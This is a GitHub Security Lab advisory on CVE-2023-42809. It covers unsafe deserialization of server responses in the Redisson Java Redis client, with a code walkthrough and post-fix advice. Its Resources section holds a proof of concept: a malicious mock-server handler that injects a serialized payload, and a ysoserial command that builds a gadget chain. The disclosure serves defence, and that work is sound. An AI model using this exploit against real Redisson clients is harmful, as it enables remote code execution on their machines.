Coordinated Disclosure Timeline
- 2023-03-28: Report sent to info@redisson.pro
- 2023-03-28: Report is acknowledged
- 2023-06-01: Fix is commited
- 2023-06-27: Deadline expires
- 2023-06-29: We reiterate some concerns to the maintainer, who decides not to address them. Please check
Post-fix advice
below.
Summary
Redisson is a Java Redis client that uses the Netty framework. Some of the messages received from the Redis server contain Java objects that the client deserializes without further validation. Attackers that manage to trick clients into communicating with a malicious server can include especially crafted objects in its responses that, once deserialized by the client, force it to execute arbitrary code. This can be abused to take control of the machine the client is running in.
Product
Redisson
Tested Version
Details
Unsafe deserialization of server responses (GHSL-2023-053
)
When being set up, Redisson can be configured to use a specific Codec
to encode and decode messages. If SerializationCodec
is used, unsafe deserialization may happen as part of an object request made to the server.
When a Netty channel is established with a server, RedisChannelInitializer.initChannel
is executed, which sets up CommandDecoder
to decode incoming messages:
redisson/src/main/java/org/redisson/client/handler/RedisChannelInitializer.java:99
@Override
protected void initChannel(Channel ch) throws Exception {
// --snip--
if (type == Type.PLAIN) {
ch.pipeline().addLast(new CommandDecoder(config.getAddress().getScheme()));
}
CommandDecoder.decode
will then be invoked when the server sends a message to the client:
redisson/src/main/java/org/redisson/client/handler/CommandDecoder.java:78
@Override
protected final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
// --snip--
if (data == null) {
while (in.writerIndex() > in.readerIndex()) {
// --snip--
try {
decode(ctx, in, null, 0);
}
// --snip--
}
} else {
// --snip--
decode(ctx, in, data, endIndex);
}
}
private void decode(ChannelHandlerContext ctx, ByteBuf in, QueueCommand data, int endIndex) throws Exception {
// --snip--
decodeCommand(ctx.channel(), in, data, endIndex);
}
@Override
protected void decodeCommand(Channel channel, ByteBuf in, QueueCommand data, int endIndex) throws Exception {
if (data == null) {
try {
while (in.writerIndex() > in.readerIndex()) {
decode(in, null, null, channel, false, null);
}
// --snip--
}
// --snip--
} else if (data instanceof CommandData) {
CommandData<Object, Object> cmd = (CommandData<Object, Object>) data;
try {
while (in.writerIndex() > in.readerIndex()) {
decode(in, cmd, null, channel, false, null);
}
// --snip--
}
}
}
protected void decode(ByteBuf in, CommandData<Object, Object> data, List<Object> parts, Channel channel, boolean skipConvertor, List<CommandData<?, ?>> commandsData) throws IOException {
int code = in.readByte();
// --snip--
if (code == '$') {
ByteBuf buf = readBytes(in);
As it can be seen, the input buffer in
goes through many layers of methods, and then a byte is read from it: if that byte is $
, then the rest of the message is parsed by readBytes
:
redisson/src/main/java/org/redisson/client/handler/CommandDecoder.java:493
private ByteBuf readBytes(ByteBuf is) throws IOException {
long l = readLong(is);
// --snip--
int size = (int) l;
// --snip--
ByteBuf buffer = is.readSlice(size);
int cr = is.readByte();
int lf = is.readByte();
if (cr != CR || lf != LF) {
throw new IOException("Improper line ending: " + cr + ", " + lf);
}
return buffer;
In readBytes
, a long indicating the payload size is read from the buffer. By examining the readLong
method, it can be determined that it’s in fact read as base 10 integers until a CRLF
sequence is found, so, for instance, to send a size of 300, one would need to send the bytes 0x03 0x00 0x00
, instead of the actual long 0x00 0x00 0x00 0x00 0x00 0x00 0x12 0x63
).
After that, that same amount of bytes is read from the input buffer, and then a CRLF
sequence is expected to end the message.
If all is correct, the execution continues in CommandDecoder.decode
:
redisson/src/main/java/org/redisson/client/handler/CommandDecoder.java:389
ByteBuf buf = readBytes(in);
Object result = null;
if (buf != null) {
Decoder<Object> decoder = selectDecoder(data, parts);
result = decoder.decode(buf, state());
}
A Decoder
is selected based on the command that the client issued. Since we’re requesting an object through getMap
, SerializationCodec$Decoder.decode
is used:
redisson/src/main/java/org/redisson/codec/SerializationCodec.java:40
public class SerializationCodec extends BaseCodec {
private final Decoder<Object> decoder = new Decoder<Object>() {
@Override
public Object decode(ByteBuf buf, State state) throws IOException {
// --snip --
try {
ByteBufInputStream in = new ByteBufInputStream(buf);
ObjectInputStream inputStream;
if (classLoader != null) {
Thread.currentThread().setContextClassLoader(classLoader);
inputStream = new CustomObjectInputStream(classLoader, in);
} else {
inputStream = new ObjectInputStream(in);
}
return inputStream.readObject();
As it can be seen, the input buffer is finally used in ObjectInputStream.readObject
, which triggers the unsafe deserialization. Note that CustomObjectInputStream
is a thin wrapper over ObjectInputStream
, and even though it seems to make decisions based on the to-be-deserialized class, actually it just delegates to the default implementation if the class can’t be found in the current class loader:
redisson/src/main/java/org/redisson/codec/CustomObjectInputStream.java:41
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
try {
String name = desc.getName();
return Class.forName(name, false, classLoader);
} catch (ClassNotFoundException e) {
return super.resolveClass(desc);
}
}
Impact
This issue may lead to remote code execution.
Resources
To exploit this vulnerability, a malicious Redis server is needed. For the sake of simplicity, we implemented a mock server with hardcoded responses, with the only goal of reaching the vulnerable code of the client.
To be able to easily reproduce this, we used the following simplified example:
public class App {
public static void main(String[] args) {
Config config = new Config();
config.useSingleServer().setAddress("redis://127.0.0.1:3000");
config.setCodec(new SerializationCodec());
RedissonClient redisson = Redisson.create(config);
RMap<?, ?> map = redisson.getMap("myMap");
map.get("test");
redisson.shutdown();
}
}
The example points to localhost’s port 3000, so we set up a simple Netty TCP server listening on that port, which replicates responses previously intercepted from a real Redis server and returns them to the client, until the HGET
command happens. Then, our server injects the malicious response:
public class AttackChannelHandler extends SimpleChannelInboundHandler<String> {
@Override
protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception {
// --snip--
if (s.contains("PING")) {
ctx.channel().writeAndFlush(
new RawByteMessage(new int[] {'+', 'P', 'O', 'N', 'G', '\r', '\n'}));
} else if (s.contains("HGET")) {
// Load the deserialization payload from disk
byte[] payload = Files.readAllBytes(Paths.get("payload.bin"));
long l = payload.length;
String length = Long.toString(l);
// Message format is $ + length + crlf + payload + clrf
int[] message = new int[1 + length.length() + 2 + payload.length + 2];
// Add the $ character to trigger the deserialization
int offset = 0;
message[offset++] = '$';
// Add length as base 10 bytes
for (int i = 0; i < length.length(); i++) {
message[offset++] = length.charAt(i);
}
// CRLF
message[offset++] = 0x0d;
message[offset++] = 0x0a;
// Add payload bytes
for (int i = 0; i < payload.length; i++) {
message[offset++] = payload[i];
}
// CRLF
message[offset++] = 0x0d;
message[offset++] = 0x0a;
ctx.channel().writeAndFlush(new RawByteMessage(message));
}
}
}
RawByteMessage
is a message class that just contains a byte array, which gets sent as-is by a Netty MessageToByteEncoder<RawByteMessage>
.
The specific deserialization payload that needs to be used depends on the deserialization gadgets available in the classpath of the application using Redisson. Again for simplicity, we assumed the victim application uses Apache Commons Collections 4.0, which contains a well-known deserialization gadget:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
In which case, the malicious payload file could be generated using ysoserial as follows:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 '/System/Applications/Calculator.app/Contents/MacOS/Calculator' > payload.bin
Post-fix advice
- Do NOT use
Kryo5Codec
as deserialization codec, as it is still vulnerable to arbitrary object deserialization due to thesetRegistrationRequired(false)
call. On the contrary,KryoCodec
is safe to use. - The fix applied to
SerializationCodec
only consists of adding an optional allowlist of class names, even though we recommended making this behavior the default. When instantiatingSerializationCodec
please use theSerializationCodec(ClassLoader classLoader, Set<String> allowedClasses)
constructor to restrict the allowed classes for deserialization.
CVE
- CVE-2023-42809
Credit
This issue was discovered and reported by the GitHub CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-053
in any communication regarding this issue.